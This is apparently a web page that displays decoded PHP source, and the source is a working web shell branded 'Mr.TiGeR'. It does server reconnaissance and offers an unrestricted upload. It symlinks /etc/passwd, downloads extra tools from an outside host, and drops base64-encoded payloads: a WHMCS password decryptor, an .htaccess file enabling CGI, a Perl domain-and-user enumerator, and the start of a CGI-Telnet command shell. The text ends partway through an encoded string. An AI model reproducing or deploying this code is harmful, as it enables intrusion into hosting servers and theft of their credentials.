Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

&#65279;<p align="right"></p><body bgcolor="#FFFFFF"> </table> </fieldset></form> ..

Decoded Output download

&#65279;<p align="right"></p><body bgcolor="#FFFFFF"> 
 </table> 
  </fieldset></form> 
 
<p align="center"> 
   <b>[VIP]</b> 
  </p> 
<p align="center"><b><font color="#ff0000" face="Webdings" size="6">!</font><small><a 
       href="" style="text-decoration: none; font-weight: 700;"><font 
       color="#dadada" face="Times New Roman" size="5"><small>Download Toolz</small></font></a></small><font 
       color="#ff0000" face="Webdings" size="6">!</font></b></p>    <form method="POST"> 
            <p align="center">Name dir: 
            <input type="text" value="tmp" name="name_dir_download" size="26" /> 
            <input type="submit" value="Done ..!" name="submit_download" /></p> 
            </p> 
    </form> 
 
<? 
 
//Begining of Coding 
error_reporting(0); 
    $info = $_SERVER['SERVER_SOFTWARE']; 
    $site = getenv("HTTP_HOST"); 
    $page = $_SERVER['SCRIPT_NAME']; 
    $sname = $_SERVER['SERVER_NAME']; 
    $uname = php_uname(); 
    $smod = ini_get('safe_mode'); 
    $disfunc = ini_get('disable_functions'); 
    $yourip = $_SERVER['REMOTE_ADDR']; 
    $serverip = $_SERVER['SERVER_ADDR']; 
    $version = phpversion(); 
    $ccc = realpath($_GET['chdir'])."/"; 
 
//PHPinfo 
if(isset($_POST['phpinfo'])) 
{ 
	die(phpinfo()); 
} 
 
//Safemode 
if(ini_get($smod)) 
{ 
    $c_h = "<font color=red face='Verdana' size='1'>ON</font>"; 
} 
else 
{ 
    $c_h = "<font face='Verdana' size='1' color=green>OFF</font>"; 
} 
 
//Disable Functions 
if (''==($disfunc)) 
{ 
    $dis = "<font color=green>None</font>"; 
} 
else 
{ 
    $dis = "<font color=red>$disfunc</font>"; 
} 
 
//Dir 
if(isset($_GET['dir']) && is_dir($_GET['dir'])) 
{ 
 chdir($_GET['dir']); 
} 
 
$ccc = realpath($_GET['chdir'])."/"; 
 
//Title 
echo "<head> 
<style> 
body { font-size: 12px; 
           font-family: arial, helvetica; 
            scrollbar-width: 5; 
            scrollbar-height: 5; 
            scrollbar-face-color: black; 
            scrollbar-shadow-color: silver; 
            scrollbar-highlight-color: silver; 
            scrollbar-3dlight-color:silver; 
            scrollbar-darkshadow-color: silver; 
            scrollbar-track-color: black; 
            scrollbar-arrow-color: silver; 
    } 
</style> 
<title>Mr.TiGeR - [$site]</title></head>"; 
 
//Main table 
echo "<center><table border='1' width='40%' id='table1' border='1' cellPadding=5 cellSpacing=0 borderColorDark=#666666 bordercolorlight='#C0C0C0'> 
	<tr> 
		<td><font color='#FF0000'> 
		  <center></font><font size='4'><font color='#FF0000'> 
		  </font><b><font color='#FF0000'> 
		  Mr.TiGeR</font><font color='#000000'><br></font> 
			<font color='#0000FF'> 
			</b></tr> 
	<tr> 
		<td  style='border: 1px solid #333333'> 
		<center><font face='Verdana' size='1' color='#000000'>Site: <u>$site</u><br>Server name: <u>$sname</u><br>Software: <u>$info</u><br>Version : <u>$version</u><br>Uname -a: <u>$uname</u><br>Path: <u>$ccc</u><br>Safemode: <u>$c_h</u><br>Disable Functions: <u>$dis</u><br>Page: <u>$page</u><br>Your IP: <u>$yourip</u><br>Server IP: <u><a target=_blank href='http://whois.domaintools.com/".$serverip."'>$serverip</a></u></font></td> 
	</tr> 
</table></center>"; 
echo '<br><center><form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader"> 
	<font color="#0000FF"><b>Upload ;)</b></font><br><input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form></center>'; 
 
//Button List 
echo "<center><form method=POST action''><input type=submit name=vbulletin value='vBulletin'><input type=submit name=mybb value='MyBB'><input type=submit name=phpbb value='phpBB'><input type=submit name=smf value='SMF'><input type=submit name=whmcs value='WHMCS'><input type=submit name=wordpress value='WordPress'><input type=submit name=joomla value='Joomla'><input type=submit name=php-nuke value='PHP-NUKE'><input type=submit name=up value='Traidnt UP'></form></center>"; 
 
echo "<center><form method=POST action''><input type=submit name=vbulletin value='vBulletin'><input type=submit name=mybb value='MyBB'><input type=submit name=phpbb value='phpBB'><input type=submit name=smf value='SMF'><input type=submit name=whmcs value='WHMCS'><input type=submit name=wordpress value='WordPress'><input type=submit name=joomla value='Joomla'><input type=submit name=php-nuke value='PHP-NUKE'><input type=submit name=up value='Traidnt UP'></form></center>"; 
 
//Upload 
if( $_POST['_upl'] == "Upload" ) { 
	if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<p align="center"><b>Upload Successfully :)</b><br><br></p>'; } 
	else { echo '<p align="center"><b>Sorry You Cant :(</b><br><br></p>'; } 
} 
// ViP 
function download_files($dir_name='shell'){ 
    global $_POST,$_GET,$_SERVER; 
if(is_dir($dir_name)){     
    //unlink($dir_name); 
}else{ 
mkdir($dir_name, 0755); 
chmod("$dir_name" , 0755); 
} 
system("$dir.ln -s /etc/passwd 11.txt"); 
//sql 2 
$file = fopen("mysql.php" ,"w+"); 
$sa=file_get_contents('http://aljazeera7.com/~dzrechar/pv8L/mysql.txt'); 
$write = fwrite ($file ,$sa); 
 
//sql 1  
$file = fopen("sql.php" ,"w+"); 
$sa=file_get_contents('http://aljazeera7.com/~dzrechar/pv8L/sql.txt'); 
$write = fwrite ($file ,$sa); 
 
 
//whmcs Symlink  
 
$file = fopen($dir."11.php" ,"w+"); 
$sa=base64_decode('Cjw/cGhwCmVjaG8gIjxoZWFkPgo8c3R5bGU+CmJvZHkgeyBmb250LXNpemU6IDEycHg7CiAgICAgICAgICAgZm9udC1mYW1pbHk6IGFyaWFsLCBoZWx2ZXRpY2E7CiAgICAgICAgICAgIHNjcm9sbGJhci13aWR0aDogNTsKICAgICAgICAgICAgc2Nyb2xsYmFyLWhlaWdodDogNTsKICAgICAgICAgICAgc2Nyb2xsYmFyLWZhY2UtY29sb3I6IGJsYWNrOwogICAgICAgICAgICBzY3JvbGxiYXItc2hhZG93LWNvbG9yOiBzaWx2ZXI7CiAgICAgICAgICAgIHNjcm9sbGJhci1oaWdobGlnaHQtY29sb3I6IHNpbHZlcjsKICAgICAgICAgICAgc2Nyb2xsYmFyLTNkbGlnaHQtY29sb3I6c2lsdmVyOwogICAgICAgICAgICBzY3JvbGxiYXItZGFya3NoYWRvdy1jb2xvcjogc2lsdmVyOwogICAgICAgICAgICBzY3JvbGxiYXItdHJhY2stY29sb3I6IGJsYWNrOwogICAgICAgICAgICBzY3JvbGxiYXItYXJyb3ctY29sb3I6IHNpbHZlcjsKICAgIH0KPC9zdHlsZT4KPHRpdGxlPlRvMG9seiAyIC0gQ3liM3ItZHogPC90aXRsZT48L2hlYWQ+IjsKCgoKCmZ1bmN0aW9uIGRlY3J5cHQgKCRzdHJpbmcsJGNjX2VuY3J5cHRpb25faGFzaCkKewoKCSRrZXkgPSBtZDUgKG1kNSAoJGNjX2VuY3J5cHRpb25faGFzaCkpIC4gbWQ1ICgkY2NfZW5jcnlwdGlvbl9oYXNoKTsKCSRoYXNoX2tleSA9IF9oYXNoICgka2V5KTsKCSRoYXNoX2xlbmd0aCA9IHN0cmxlbiAoJGhhc2hfa2V5KTsKCSRzdHJpbmcgPSBiYXNlNjRfZGVjb2RlICgkc3RyaW5nKTsKCSR0bXBfaXYgPSBzdWJzdHIgKCRzdHJpbmcsIDAsICRoYXNoX2xlbmd0aCk7Cgkkc3RyaW5nID0gc3Vic3RyICgkc3RyaW5nLCAkaGFzaF9sZW5ndGgsIHN0cmxlbiAoJHN0cmluZykgLSAkaGFzaF9sZW5ndGgpOwoJJGl2ID0gJG91dCA9ICcnOwoJJGMgPSAwOwoJd2hpbGUgKCRjIDwgJGhhc2hfbGVuZ3RoKQoJewoJCSRpdiAuPSBjaHIgKG9yZCAoJHRtcF9pdlskY10pIF4gb3JkICgkaGFzaF9rZXlbJGNdKSk7CgkJKyskYzsKCX0KCgkka2V5ID0gJGl2OwoJJGMgPSAwOwoJd2hpbGUgKCRjIDwgc3RybGVuICgkc3RyaW5nKSkKCXsKCQlpZiAoKCRjICE9IDAgQU5EICRjICUgJGhhc2hfbGVuZ3RoID09IDApKQoJCXsKCQkJJGtleSA9IF9oYXNoICgka2V5IC4gc3Vic3RyICgkb3V0LCAkYyAtICRoYXNoX2xlbmd0aCwgJGhhc2hfbGVuZ3RoKSk7CgkJfQoKCQkkb3V0IC49IGNociAob3JkICgka2V5WyRjICUgJGhhc2hfbGVuZ3RoXSkgXiBvcmQgKCRzdHJpbmdbJGNdKSk7CgkJKyskYzsKCX0KCglyZXR1cm4gJG91dDsKfQoKCmZ1bmN0aW9uIF9oYXNoICgkc3RyaW5nKQp7CglpZiAoZnVuY3Rpb25fZXhpc3RzICgnc2hhMScpKQoJewoJCSRoYXNoID0gc2hhMSAoJHN0cmluZyk7Cgl9CgllbHNlCgl7CgkJJGhhc2ggPSBtZDUgKCRzdHJpbmcpOwoJfQoKCSRvdXQgPSAnJzsKCSRjID0gMDsKCXdoaWxlICgkYyA8IHN0cmxlbiAoJGhhc2gpKQoJewoJCSRvdXQgLj0gY2hyIChoZXhkZWMgKCRoYXNoWyRjXSAuICRoYXNoWyRjICsgMV0pKTsKCQkkYyArPSAyOwoJfQoKCXJldHVybiAkb3V0Owp9CgogaWYoJF9QT1NUWydmb3JtX2FjdGlvbiddID09IDEgKQogewogLy9pbmNsdWRlKCRmaWxlKTsKCiAkZmlsZT0oJF9QT1NUWydmaWxlJ10pOwokdGV4dD1maWxlX2dldF9jb250ZW50cygkZmlsZSk7CgokdGV4dD0gc3RyX3JlcGxhY2UoIjw/cGhwIiwgIiIsICR0ZXh0KTsKJHRleHQ9IHN0cl9yZXBsYWNlKCI8PyIsICIiLCAkdGV4dCk7CiR0ZXh0PSBzdHJfcmVwbGFjZSgiPz4iLCAiIiwgJHRleHQpOwoKZXZhbCgkdGV4dCk7CgogICAgJGxpbms9bXlzcWxfY29ubmVjdCgkZGJfaG9zdCwkZGJfdXNlcm5hbWUsJGRiX3Bhc3N3b3JkKSA7CgkgICAgbXlzcWxfc2VsZWN0X2RiKCRkYl9uYW1lLCRsaW5rKSA7CgokcXVlcnkgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSB0YmxzZXJ2ZXJzIik7Cgp3aGlsZSgkdiA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeSkpIHsKCiRpcGFkZHJlc3MgPSAkdlsnaXBhZGRyZXNzJ107CiR1c2VybmFtZSA9ICR2Wyd1c2VybmFtZSddOwokdHlwZSA9ICR2Wyd0eXBlJ107CiRhY3RpdmUgPSAkdlsnYWN0aXZlJ107CiRob3N0bmFtZSA9ICR2Wydob3N0bmFtZSddOwoKZWNobygiPGNlbnRlcj48dGFibGUgYm9yZGVyPScxJz4iKTsKJHBhc3N3b3JkID0gZGVjcnlwdCAoJHZbJ3Bhc3N3b3JkJ10sICRjY19lbmNyeXB0aW9uX2hhc2gpOwplY2hvKCI8dHI+PHRkPlR5cGU8L3RkPjx0ZD4kdHlwZTwvdGQ+PC90cj4iKTsKZWNobygiPHRyPjx0ZD5BY3RpdmU8L3RkPjx0ZD4kYWN0aXZlPC90ZD48L3RyPiIpOwplY2hvKCI8dHI+PHRkPkhvc3RuYW1lPC90ZD48dGQ+JGhvc3RuYW1lPC90ZD48L3RyPiIpOwplY2hvKCI8dHI+PHRkPklwPC90ZD48dGQ+JGlwYWRkcmVzczwvdGQ+PC90cj4iKTsKZWNobygiPHRyPjx0ZD5Vc2VybmFtZTwvdGQ+PHRkPiR1c2VybmFtZTwvdGQ+PC90cj4iKTsKZWNobygiPHRyPjx0ZD5QYXNzd29yZDwvdGQ+PHRkPiRwYXNzd29yZDwvdGQ+PC90cj4iKTsKCgplY2hvICI8L3RhYmxlPjxicj48YnI+PC9jZW50ZXI+IjsKCn0KCiAgICAkbGluaz1teXNxbF9jb25uZWN0KCRkYl9ob3N0LCRkYl91c2VybmFtZSwkZGJfcGFzc3dvcmQpIDsKCSAgICBteXNxbF9zZWxlY3RfZGIoJGRiX25hbWUsJGxpbmspIDsKCiRxdWVyeSA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NIHRibHJlZ2lzdHJhcnMiKTsKZWNobygiPGNlbnRlcj5Eb21haW4gUmVzZWxsZXIgPGJyPjx0YWJsZSBib3JkZXI9JzEnPiIpOwplY2hvKCI8dHI+PHRkPlJlZ2lzdHJhcjwvdGQ+PHRkPlNldHRpbmc8L3RkPjx0ZD5WYWx1ZTwvdGQ+PC90cj4iKTsKd2hpbGUoJHYgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnkpKSB7CgokcmVnaXN0cmFyIAk9ICR2WydyZWdpc3RyYXInXTsKJHNldHRpbmcgPSAkdlsnc2V0dGluZyddOwokdmFsdWUgPSBkZWNyeXB0ICgkdlsndmFsdWUnXSwgJGNjX2VuY3J5cHRpb25faGFzaCk7CmlmICgkdmFsdWU9PSIiKSB7CiR2YWx1ZT0wOwp9CiRwYXNzd29yZCA9IGRlY3J5cHQgKCR2WydwYXNzd29yZCddLCAkY2NfZW5jcnlwdGlvbl9oYXNoKTsKZWNobygiPHRyPjx0ZD4kcmVnaXN0cmFyPC90ZD48dGQ+JHNldHRpbmc8L3RkPjx0ZD4kdmFsdWU8L3RkPjwvdHI+Iik7CgoKCgoKfQplY2hvICI8L3RhYmxlPjxicj48YnI+PC9jZW50ZXI+IjsKfQoKCgogaWYoJF9QT1NUWydmb3JtX2FjdGlvbiddID09IDIgKQogewogLy9pbmNsdWRlKCRmaWxlKTsKCiAkZGJfaG9zdD0oJF9QT1NUWydkYl9ob3N0J10pOwogJGRiX3VzZXJuYW1lPSgkX1BPU1RbJ2RiX3VzZXJuYW1lJ10pOwogJGRiX3Bhc3N3b3JkPSgkX1BPU1RbJ2RiX3Bhc3N3b3JkJ10pOwogJGRiX25hbWU9KCRfUE9TVFsnZGJfbmFtZSddKTsKICRjY19lbmNyeXB0aW9uX2hhc2g9KCRfUE9TVFsnY2NfZW5jcnlwdGlvbl9oYXNoJ10pOwoKCgoKICAgICRsaW5rPW15c3FsX2Nvbm5lY3QoJGRiX2hvc3QsJGRiX3VzZXJuYW1lLCRkYl9wYXNzd29yZCkgOwoJICAgIG15c3FsX3NlbGVjdF9kYigkZGJfbmFtZSwkbGluaykgOwoKJHF1ZXJ5ID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gdGJsc2VydmVycyIpOwoKd2hpbGUoJHYgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnkpKSB7CgokaXBhZGRyZXNzID0gJHZbJ2lwYWRkcmVzcyddOwokdXNlcm5hbWUgPSAkdlsndXNlcm5hbWUnXTsKJHR5cGUgPSAkdlsndHlwZSddOwokYWN0aXZlID0gJHZbJ2FjdGl2ZSddOwokaG9zdG5hbWUgPSAkdlsnaG9zdG5hbWUnXTsKCmVjaG8oIjxjZW50ZXI+PHRhYmxlIGJvcmRlcj0nMSc+Iik7CiRwYXNzd29yZCA9IGRlY3J5cHQgKCR2WydwYXNzd29yZCddLCAkY2NfZW5jcnlwdGlvbl9oYXNoKTsKZWNobygiPHRyPjx0ZD5UeXBlPC90ZD48dGQ+JHR5cGU8L3RkPjwvdHI+Iik7CmVjaG8oIjx0cj48dGQ+QWN0aXZlPC90ZD48dGQ+JGFjdGl2ZTwvdGQ+PC90cj4iKTsKZWNobygiPHRyPjx0ZD5Ib3N0bmFtZTwvdGQ+PHRkPiRob3N0bmFtZTwvdGQ+PC90cj4iKTsKZWNobygiPHRyPjx0ZD5JcDwvdGQ+PHRkPiRpcGFkZHJlc3M8L3RkPjwvdHI+Iik7CmVjaG8oIjx0cj48dGQ+VXNlcm5hbWU8L3RkPjx0ZD4kdXNlcm5hbWU8L3RkPjwvdHI+Iik7CmVjaG8oIjx0cj48dGQ+UGFzc3dvcmQ8L3RkPjx0ZD4kcGFzc3dvcmQ8L3RkPjwvdHI+Iik7CgoKZWNobyAiPC90YWJsZT48YnI+PGJyPjwvY2VudGVyPiI7Cgp9CgoKICAgICRsaW5rPW15c3FsX2Nvbm5lY3QoJGRiX2hvc3QsJGRiX3VzZXJuYW1lLCRkYl9wYXNzd29yZCkgOwoJICAgIG15c3FsX3NlbGVjdF9kYigkZGJfbmFtZSwkbGluaykgOwoKJHF1ZXJ5ID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gdGJscmVnaXN0cmFycyIpOwplY2hvKCI8Y2VudGVyPkRvbWFpbiBSZXNlbGxlciA8YnI+PHRhYmxlIGJvcmRlcj0nMSc+Iik7CmVjaG8oIjx0cj48dGQ+UmVnaXN0cmFyPC90ZD48dGQ+U2V0dGluZzwvdGQ+PHRkPlZhbHVlPC90ZD48L3RyPiIpOwp3aGlsZSgkdiA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeSkpIHsKCiRyZWdpc3RyYXIgCT0gJHZbJ3JlZ2lzdHJhciddOwokc2V0dGluZyA9ICR2WydzZXR0aW5nJ107CiR2YWx1ZSA9IGRlY3J5cHQgKCR2Wyd2YWx1ZSddLCAkY2NfZW5jcnlwdGlvbl9oYXNoKTsKaWYgKCR2YWx1ZT09IiIpIHsKJHZhbHVlPTA7Cn0KJHBhc3N3b3JkID0gZGVjcnlwdCAoJHZbJ3Bhc3N3b3JkJ10sICRjY19lbmNyeXB0aW9uX2hhc2gpOwplY2hvKCI8dHI+PHRkPiRyZWdpc3RyYXI8L3RkPjx0ZD4kc2V0dGluZzwvdGQ+PHRkPiR2YWx1ZTwvdGQ+PC90cj4iKTsKCgoKCgp9CmVjaG8gIjwvdGFibGU+PGJyPjxicj48L2NlbnRlcj4iOwp9CgoKCgo/Pgo8cCBhbGlnbj0ibGVmdCI+Cjxmb250IGNvbG9yPSIjRkYwMDAwIiBzaXplPScrMyc+WyB+fiBQQCQkdzByZCBEZWMwZDNyIH5+IF08L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPjxicj4KPC9mb250Pjxicj4KPGZvbnQgc2l6ZT0iKzIiIGNvbG9yPSIjMDAwMDgwIj5TeW1saU5rIHQwIGNvbmZpZ3VyYXRpb24ucGhwIDwvZm9udD48YnI+CjwvcD4KPEZPUk0gYWN0aW9uPSIiICBtZXRob2Q9InBvc3QiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmb3JtX2FjdGlvbiIgdmFsdWU9IjEiPgo8YnI+CiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMzAiIG5hbWU9ImZpbGUiIHZhbHVlPSIiPgo8YnI+CjxJTlBVVCBjbGFzcz1zdWJtaXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU3VibWl0IiBuYW1lPSJTdWJtaXQiPgo8L0ZPUk0+Cjxocj4KCgo8Zm9udCBjb2xvcj0iIzAwNjZGRiIgc2l6ZT0nKzInPkRCIEMwbkZpZ3VyYXRpMG4gPC9mb250Pjxicj4KPEZPUk0gYWN0aW9uPSIiICBtZXRob2Q9InBvc3QiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmb3JtX2FjdGlvbiIgdmFsdWU9IjIiPgo8YnI+Cjx0YWJsZSBib3JkZXI9MT4KCjx0cj48dGQ+ZGJfaG9zdCA8L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMzAiIG5hbWU9ImRiX2hvc3QiIHZhbHVlPSJsb2NhbGhvc3QiPjwvdGQ+PC90cj4KPHRyPjx0ZD5kYl91c2VybmFtZSA8L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMzAiIG5hbWU9ImRiX3VzZXJuYW1lIiB2YWx1ZT0iIj48L3RkPjwvdHI+Cjx0cj48dGQ+ZGJfcGFzc3dvcmQ8L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMzAiIG5hbWU9ImRiX3Bhc3N3b3JkIiB2YWx1ZT0iIj48L3RkPjwvdHI+Cjx0cj48dGQ+ZGJfbmFtZTwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIzMCIgbmFtZT0iZGJfbmFtZSIgdmFsdWU9IiI+PC90cj4KPHRyPjx0ZD5jY19lbmNyeXB0aW9uX2hhc2g8L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMzAiIG5hbWU9ImNjX2VuY3J5cHRpb25faGFzaCIgdmFsdWU9IiI+PC90ZD48L3RyPgoKPC90YWJsZT4KPGJyPgo8SU5QVVQgY2xhc3M9c3VibWl0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlN1Ym1pdCIgbmFtZT0iU3VibWl0Ij4KPC9GT1JNPgo8aHI+CjxwIGFsaWduPSJsZWZ0Ij4KPGZvbnQgY29sb3I9IiMwMDY2RkYiIHNpemU9JysyJz5QYSQkdzByZCBkZWMwZGVyPC9mb250Pjxicj48L3A+Cjw/CiBpZigkX1BPU1RbJ2Zvcm1fYWN0aW9uJ10gPT0gMyApCiB7CgoKCiAkcGFzc3dvcmQ9KCRfUE9TVFsncGFzc3dvcmQnXSk7CgogJGNjX2VuY3J5cHRpb25faGFzaD0oJF9QT1NUWydjY19lbmNyeXB0aW9uX2hhc2gnXSk7CgoKJHBhc3N3b3JkID0gZGVjcnlwdCAoJHBhc3N3b3JkLCAkY2NfZW5jcnlwdGlvbl9oYXNoKTsKCmVjaG8oIlBhc3N3b3JkIGlzICIuJHBhc3N3b3JkKTsKCn0KPz4KPC9jZW50ZXI+CjxGT1JNIGFjdGlvbj0iIiAgbWV0aG9kPSJwb3N0Ij4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZm9ybV9hY3Rpb24iIHZhbHVlPSIzIj4KPGJyPgo8dGFibGUgYm9yZGVyPTE+Cjx0cj48dGQ+UGFzc3dvcmQ8L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMzAiIG5hbWU9InBhc3N3b3JkIiB2YWx1ZT0iIj48L3RkPjwvdHI+Cjx0cj48dGQ+Y2NfZW5jcnlwdGlvbl9oYXNoPC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIHNpemU9IjMwIiBuYW1lPSJjY19lbmNyeXB0aW9uX2hhc2giIHZhbHVlPSIiPjwvdGQ+PC90cj4KPC90YWJsZT4KPGJyPgo8SU5QVVQgY2xhc3M9c3VibWl0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlN1Ym1pdCIgbmFtZT0iU3VibWl0Ij4KPC9GT1JNPgo8aHI+CjxjZW50ZXI+IDxmb250IGNvbG9yPSIjRkZGRjZGRiIgc2l6ZT0nKzEnPiAgIC0tLS0tLS0tLS0tLSAgICA8L2ZvbnQ+PGJyPjxicj4gPGNlbnRlcj4='); 
$write = fwrite ($file ,$sa); 
 
$dir = $dir_name."/"; 
 
 
$file = fopen("d.php" ,"w+"); 
$sa=base64_decode('PD8KJGZpbGVuYW1lID0gIncucGhwIjsKdW5saW5rKCRmaWxlbmFtZSk7IAokZHoyID0gIjExLnBocCI7CnVubGluaygkZHoyKTsgCiRkejJkID0gInNxbC5waHAiOwp1bmxpbmsoJGR6MmQpOyAKPz4K'); 
$write = fwrite ($file ,$sa); 
 
 
$file = fopen($dir.".htaccess" ,"w+"); 
$sa=base64_decode('T3B0aW9ucyBhbGwKRGlyZWN0b3J5SW5kZXggU3V4Lmh0bWwKQWRkVHlwZSB0ZXh0L3BsYWluIC5w 
aHAKQWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLWNnaSAuc2EKQWRkSGFuZGxlciBzZXJ2ZXIt 
cGFyc2VkIC5waHAKQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5zYQpBZGRIYW5kbGVyIGNnaS1zY3Jp 
cHQgLnNh'); 
$write = fwrite ($file ,$sa); 
 
$file = fopen($dir."user.sa" ,"w+"); 
$sa=base64_decode('IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOwpwcmludCc8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+CjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4KCjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyIgLz4KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+Cjx0aXRsZT5DMGRlZCBCeSBTSUxWRVIgRk9YPC90aXRsZT4KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KLm5ld1N0eWxlMSB7CiBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOwogZm9udC1mYW1pbHk6ICJDb3VyaWVyIE5ldyIsIENvdXJpZXIsIG1vbm9zcGFjZTsKIGZvbnQtc2l6ZTogbGFyZ2U7CiBmb250LXdlaWdodDogYm9sZDsKIGNvbG9yOiAjRkZGRkZGOwp9Ci5zdHlsZTEgewogdGV4dC1hbGlnbjogY2VudGVyOwp9Cjwvc3R5bGU+CjwvaGVhZD4KCjxib2R5IGNsYXNzPSJuZXdTdHlsZTEiPgoKPHAgY2xhc3M9InN0eWxlMSI+RG9tYWlucyAmYW1wOyBVc2VycyA8L3A+CjxwIGNsYXNzPSJzdHlsZTEiPkJ5cGFzczwvcD4KPHAgY2xhc3M9InN0eWxlMSI+U0lMVkVSIEZPWCA8L3A+Cic7Cm9wZW4gKGQwbWFpbnMsICcvZXRjL25hbWVkLmNvbmYnKSBvciAkZXJyPTE7CkBrciA9IDxkMG1haW5zPjsKY2xvc2UgZDBtYWluczsKaWYgKCRlcnIpewpwcmludCAoJzxwIGNsYXNzPSJzdHlsZTEiPiZuYnNwOzwvcD48cCBjbGFzcz0ic3R5bGUxIj5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7CmRpZSgpOwp9ZWxzZXsKcHJpbnQgJzxwIGNsYXNzPSJzdHlsZTEiPiZuYnNwOzwvcD4KPHAgY2xhc3M9InN0eWxlMSI+SDNyMyAhcyA0MTEgRDBtNCFucyAmYW1wOyBVczNycyA6PC9wPgonO30KZm9yZWFjaCBteSAkb25lIChAa3IpCnsKaWYoJG9uZSA9fiBtLy4qP3pvbmUgIiguKj8pIiB7Lyl7CiRmaWxlbmFtZT0gIi9ldGMvdmFsaWFzZXMvIi4kMTsKJG93bmVyID0gZ2V0cHd1aWQoKHN0YXQoJGZpbGVuYW1lKSlbNF0pOwpwcmludCAnPHAgY2xhc3M9InN0eWxlMSI+Jy4kMS4nIDogJy4kb3duZXIuJzwvcD4KJzsKfQp9CnByaW50JzwvYm9keT48L2h0bWw+JzsK 
'); 
$write = fwrite ($file ,$sa); 
 
$file = fopen($dir."cgi.pl" ,"w+"); 
$sa=base64_decode('IyEvdXNyL2Jpbi9wZXJsCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBDb3B5cmlnaHQgYW5kIExp 
Y2VuY2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIENHSS1UZWxuZXQgVmVyc2lvbiAxLjAgZm9y 
IE5UIGFuZCBVbml4IDogUnVuIENvbW1hbmRzIG9uIHlvdXIgV2ViIFNlcnZlcgojCiMgQ29weXJp 
Z2h0IChDKSAyMDAxIFJvaGl0YWIgQmF0cmEKIyBQZXJtaXNzaW9uIGlzIGdyYW50ZWQgdG8gdXNl 
LCBkaXN0cmlidXRlIGFuZCBtb2RpZnkgdGhpcyBzY3JpcHQgc28gbG9uZwojIGFzIHRoaXMgY29w 
eXJpZ2h0IG5vdGljZSBpcyBsZWZ0IGludGFjdC4gSWYgeW91IG1ha2UgY2hhbmdlcyB0byB0aGUg 
c2NyaXB0CiMgcGxlYXNlIGRvY3VtZW50IHRoZW0gYW5kIGluZm9ybSBtZS4gSWYgeW91IHdvdWxk 
IGxpa2UgYW55IGNoYW5nZXMgdG8gYmUgbWFkZQojIGluIHRoaXMgc2NyaXB0LCB5b3UgY2FuIGUt 
bWFpbCBtZS4KIwojIEF1dGhvcjogUm9oaXRhYiBCYXRyYQojIEF1dGhvciBlLW1haWw6IHJvaGl0 
YWJAcm9oaXRhYi5jb20KIyBBdXRob3IgSG9tZXBhZ2U6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20v 
CiMgU2NyaXB0IEhvbWVwYWdlOiBtYWlsdG86VU5JVFhfVEVBTUBIT1RNQUlMLkNPTQojIFByb2R1 
Y3QgU3VwcG9ydDogaHR0cDovL3d3dy5yb2hpdGFiLmNvbS9zdXBwb3J0LwojIERpc2N1c3Npb24g 
Rm9ydW06IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vZGlzY3Vzcy8KIyBNYWlsaW5nIExpc3Q6IGh0 
